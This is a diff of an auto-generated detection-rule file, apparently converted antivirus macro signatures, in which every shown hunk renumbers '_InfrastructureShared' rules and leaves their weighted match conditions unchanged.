-291507,7 +307977,7 @@ rule _InfrastructureShared_22218{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22219{ +rule _InfrastructureShared_23503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291517,7 +307987,7 @@ rule _InfrastructureShared_22219{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22220{ +rule _InfrastructureShared_23504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291527,7 +307997,7 @@ rule _InfrastructureShared_22220{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22221{ +rule _InfrastructureShared_23505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291537,7 +308007,7 @@ rule _InfrastructureShared_22221{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22222{ +rule _InfrastructureShared_23506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291547,7 +308017,7 @@ rule _InfrastructureShared_22222{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22223{ +rule _InfrastructureShared_23507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291557,7 +308027,7 @@ rule _InfrastructureShared_22223{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22224{ +rule _InfrastructureShared_23508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291567,7 +308037,7 @@ rule _InfrastructureShared_22224{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22225{ +rule _InfrastructureShared_23509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291577,7 +308047,7 @@ rule _InfrastructureShared_22225{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22226{ +rule _InfrastructureShared_23510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291587,7 +308057,7 @@ rule _InfrastructureShared_22226{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22227{ +rule _InfrastructureShared_23511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291597,7 +308067,7 @@ rule _InfrastructureShared_22227{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22228{ +rule _InfrastructureShared_23512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291607,7 +308077,7 @@ rule _InfrastructureShared_22228{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22229{ +rule _InfrastructureShared_23513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -291617,7 +308087,7 @@ rule _InfrastructureShared_22229{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22230{ +rule _InfrastructureShared_23514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -291629,7 +308099,7 @@ rule _InfrastructureShared_22230{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*99+(#a_63_2 & 1)*16643) >=1 } -rule _InfrastructureShared_22231{ +rule _InfrastructureShared_23515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291639,7 +308109,7 @@ rule _InfrastructureShared_22231{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22232{ +rule _InfrastructureShared_23516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291649,7 +308119,7 @@ rule _InfrastructureShared_22232{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22233{ +rule _InfrastructureShared_23517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291659,7 +308129,7 @@ rule _InfrastructureShared_22233{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22234{ +rule _InfrastructureShared_23518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291669,7 +308139,7 @@ rule _InfrastructureShared_22234{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22235{ +rule _InfrastructureShared_23519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291679,7 +308149,7 @@ rule _InfrastructureShared_22235{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22236{ +rule _InfrastructureShared_23520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291689,7 +308159,7 @@ rule _InfrastructureShared_22236{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22237{ +rule _InfrastructureShared_23521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291699,7 +308169,7 @@ rule _InfrastructureShared_22237{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22238{ +rule _InfrastructureShared_23522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291709,7 +308179,7 @@ rule _InfrastructureShared_22238{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22239{ +rule _InfrastructureShared_23523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -291720,7 +308190,7 @@ rule _InfrastructureShared_22239{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*28229) >=1 } -rule _InfrastructureShared_22240{ +rule _InfrastructureShared_23524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -291731,7 +308201,7 @@ rule _InfrastructureShared_22240{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*287) >=1 } -rule _InfrastructureShared_22241{ +rule _InfrastructureShared_23525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291741,7 +308211,7 @@ rule _InfrastructureShared_22241{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22242{ +rule _InfrastructureShared_23526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291751,7 +308221,7 @@ rule _InfrastructureShared_22242{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22243{ +rule _InfrastructureShared_23527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291761,7 +308231,7 @@ rule _InfrastructureShared_22243{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22244{ +rule _InfrastructureShared_23528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291771,7 +308241,7 @@ rule _InfrastructureShared_22244{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22245{ +rule _InfrastructureShared_23529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291781,7 +308251,7 @@ rule _InfrastructureShared_22245{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22246{ +rule _InfrastructureShared_23530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291791,7 +308261,7 @@ rule _InfrastructureShared_22246{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22247{ +rule _InfrastructureShared_23531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291801,7 +308271,7 @@ rule _InfrastructureShared_22247{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22248{ +rule _InfrastructureShared_23532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291811,7 +308281,7 @@ rule _InfrastructureShared_22248{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22249{ +rule _InfrastructureShared_23533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291821,7 +308291,7 @@ rule _InfrastructureShared_22249{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22250{ +rule _InfrastructureShared_23534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291831,7 +308301,7 @@ rule _InfrastructureShared_22250{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22251{ +rule _InfrastructureShared_23535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291841,7 +308311,7 @@ rule _InfrastructureShared_22251{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22252{ +rule _InfrastructureShared_23536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291851,7 +308321,7 @@ rule _InfrastructureShared_22252{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22253{ +rule _InfrastructureShared_23537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291861,7 +308331,7 @@ rule _InfrastructureShared_22253{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22254{ +rule _InfrastructureShared_23538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291871,7 +308341,7 @@ rule _InfrastructureShared_22254{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22255{ +rule _InfrastructureShared_23539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291881,7 +308351,7 @@ rule _InfrastructureShared_22255{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22256{ +rule _InfrastructureShared_23540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291891,7 +308361,7 @@ rule _InfrastructureShared_22256{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_22257{ +rule _InfrastructureShared_23541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -291902,7 +308372,7 @@ rule _InfrastructureShared_22257{ ((#a_53_0 & 1)*19747+(#a_46_1 & 1)*29810) >=1 } -rule _InfrastructureShared_22258{ +rule _InfrastructureShared_23542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -291913,7 +308383,7 @@ rule _InfrastructureShared_22258{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*23151) >=1 } -rule _InfrastructureShared_22259{ +rule _InfrastructureShared_23543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -291924,7 +308394,7 @@ rule _InfrastructureShared_22259{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*20587) >=2 } -rule _InfrastructureShared_22260{ +rule _InfrastructureShared_23544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291934,7 +308404,7 @@ rule _InfrastructureShared_22260{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22261{ +rule _InfrastructureShared_23545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291944,7 +308414,7 @@ rule _InfrastructureShared_22261{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22262{ +rule _InfrastructureShared_23546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291954,7 +308424,7 @@ rule _InfrastructureShared_22262{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22263{ +rule _InfrastructureShared_23547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291964,7 +308434,7 @@ rule _InfrastructureShared_22263{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22264{ +rule _InfrastructureShared_23548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291974,7 +308444,7 @@ rule _InfrastructureShared_22264{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22265{ +rule _InfrastructureShared_23549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291984,7 +308454,7 @@ rule _InfrastructureShared_22265{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22266{ +rule _InfrastructureShared_23550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291994,7 +308464,7 @@ rule _InfrastructureShared_22266{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22267{ +rule _InfrastructureShared_23551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292004,7 +308474,7 @@ rule _InfrastructureShared_22267{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22268{ +rule _InfrastructureShared_23552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292014,7 +308484,7 @@ rule _InfrastructureShared_22268{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22269{ +rule _InfrastructureShared_23553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292024,7 +308494,7 @@ rule _InfrastructureShared_22269{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22270{ +rule _InfrastructureShared_23554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292034,7 +308504,7 @@ rule _InfrastructureShared_22270{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22271{ +rule _InfrastructureShared_23555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292044,7 +308514,7 @@ rule _InfrastructureShared_22271{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22272{ +rule _InfrastructureShared_23556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292054,7 +308524,7 @@ rule _InfrastructureShared_22272{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22273{ +rule _InfrastructureShared_23557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292064,7 +308534,7 @@ rule _InfrastructureShared_22273{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22274{ +rule _InfrastructureShared_23558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292074,7 +308544,7 @@ rule _InfrastructureShared_22274{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22275{ +rule _InfrastructureShared_23559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292084,7 +308554,7 @@ rule _InfrastructureShared_22275{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22276{ +rule _InfrastructureShared_23560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292094,7 +308564,7 @@ rule _InfrastructureShared_22276{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22277{ +rule _InfrastructureShared_23561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -292104,7 +308574,7 @@ rule _InfrastructureShared_22277{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22278{ +rule _InfrastructureShared_23562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292114,7 +308584,7 @@ rule _InfrastructureShared_22278{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22279{ +rule _InfrastructureShared_23563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292124,7 +308594,7 @@ rule _InfrastructureShared_22279{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22280{ +rule _InfrastructureShared_23564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292134,7 +308604,7 @@ rule _InfrastructureShared_22280{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22281{ +rule _InfrastructureShared_23565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292144,7 +308614,7 @@ rule _InfrastructureShared_22281{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22282{ +rule _InfrastructureShared_23566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292154,7 +308624,7 @@ rule _InfrastructureShared_22282{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22283{ +rule _InfrastructureShared_23567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292164,7 +308634,7 @@ rule _InfrastructureShared_22283{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22284{ +rule _InfrastructureShared_23568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292174,7 +308644,7 @@ rule _InfrastructureShared_22284{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22285{ +rule _InfrastructureShared_23569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292184,7 +308654,7 @@ rule _InfrastructureShared_22285{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22286{ +rule _InfrastructureShared_23570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292194,7 +308664,7 @@ rule _InfrastructureShared_22286{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22287{ +rule _InfrastructureShared_23571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292204,7 +308674,7 @@ rule _InfrastructureShared_22287{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22288{ +rule _InfrastructureShared_23572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292214,7 +308684,7 @@ rule _InfrastructureShared_22288{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22289{ +rule _InfrastructureShared_23573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -292225,7 +308695,7 @@ rule _InfrastructureShared_22289{ ((#a_53_0 & 1)*19747+(#a_4c_1 & 1)*20782) >=1 } -rule _InfrastructureShared_22290{ +rule _InfrastructureShared_23574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -292236,7 +308706,7 @@ rule _InfrastructureShared_22290{ ((#a_53_0 & 1)*19747+(#a_75_1 & 1)*25976) >=2 } -rule _InfrastructureShared_22291{ +rule _InfrastructureShared_23575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -292247,7 +308717,7 @@ rule _InfrastructureShared_22291{ ((#a_53_0 & 1)*19747+(#a_44_1 & 1)*25445) >=2 } -rule _InfrastructureShared_22292{ +rule _InfrastructureShared_23576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292257,7 +308727,7 @@ rule _InfrastructureShared_22292{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22293{ +rule _InfrastructureShared_23577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292267,7 +308737,7 @@ rule _InfrastructureShared_22293{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22294{ +rule _InfrastructureShared_23578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292277,7 +308747,7 @@ rule _InfrastructureShared_22294{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22295{ +rule _InfrastructureShared_23579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292287,7 +308757,7 @@ rule _InfrastructureShared_22295{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22296{ +rule _InfrastructureShared_23580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292297,7 +308767,7 @@ rule _InfrastructureShared_22296{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22297{ +rule _InfrastructureShared_23581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292307,7 +308777,7 @@ rule _InfrastructureShared_22297{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22298{ +rule _InfrastructureShared_23582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292317,7 +308787,7 @@ rule _InfrastructureShared_22298{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22299{ +rule _InfrastructureShared_23583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292327,7 +308797,7 @@ rule _InfrastructureShared_22299{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22300{ +rule _InfrastructureShared_23584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292337,7 +308807,7 @@ rule _InfrastructureShared_22300{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22301{ +rule _InfrastructureShared_23585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292347,7 +308817,7 @@ rule _InfrastructureShared_22301{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22302{ +rule _InfrastructureShared_23586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292357,7 +308827,7 @@ rule _InfrastructureShared_22302{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22303{ +rule _InfrastructureShared_23587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -292368,7 +308838,7 @@ rule _InfrastructureShared_22303{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*30583) >=1 } -rule _InfrastructureShared_22304{ +rule _InfrastructureShared_23588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -292379,7 +308849,7 @@ rule _InfrastructureShared_22304{ ((#a_53_0 & 1)*19747+(#a_49_1 & 1)*29295) >=1 } -rule _InfrastructureShared_22305{ +rule _InfrastructureShared_23589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -292391,7 +308861,7 @@ rule _InfrastructureShared_22305{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*28484+(#a_6d_2 & 1)*17210) >=1 } -rule _InfrastructureShared_22306{ +rule _InfrastructureShared_23590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -292402,7 +308872,7 @@ rule _InfrastructureShared_22306{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*30575) >=2 } -rule _InfrastructureShared_22307{ +rule _InfrastructureShared_23591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 01 00 21 " @@ -292412,7 +308882,7 @@ rule _InfrastructureShared_22307{ ((#a_4c_0 & 1)*21539) >=6 } -rule _InfrastructureShared_22308{ +rule _InfrastructureShared_23592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292422,7 +308892,7 @@ rule _InfrastructureShared_22308{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22309{ +rule _InfrastructureShared_23593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292432,7 +308902,7 @@ rule _InfrastructureShared_22309{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22310{ +rule _InfrastructureShared_23594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292442,7 +308912,7 @@ rule _InfrastructureShared_22310{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22311{ +rule _InfrastructureShared_23595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292452,7 +308922,7 @@ rule _InfrastructureShared_22311{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22312{ +rule _InfrastructureShared_23596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292462,7 +308932,7 @@ rule _InfrastructureShared_22312{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22313{ +rule _InfrastructureShared_23597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292472,7 +308942,7 @@ rule _InfrastructureShared_22313{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22314{ +rule _InfrastructureShared_23598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292482,7 +308952,7 @@ rule _InfrastructureShared_22314{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22315{ +rule _InfrastructureShared_23599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292492,7 +308962,7 @@ rule _InfrastructureShared_22315{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22316{ +rule _InfrastructureShared_23600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -292502,7 +308972,7 @@ rule _InfrastructureShared_22316{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_22317{ +rule _InfrastructureShared_23601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -292513,7 +308983,7 @@ rule _InfrastructureShared_22317{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*28484) >=1 } -rule _InfrastructureShared_22318{ +rule _InfrastructureShared_23602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 01 00 21 " @@ -292523,7 +308993,7 @@ rule _InfrastructureShared_22318{ ((#a_4c_0 & 1)*21539) >=6 } -rule _InfrastructureShared_22319{ +rule _InfrastructureShared_23603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 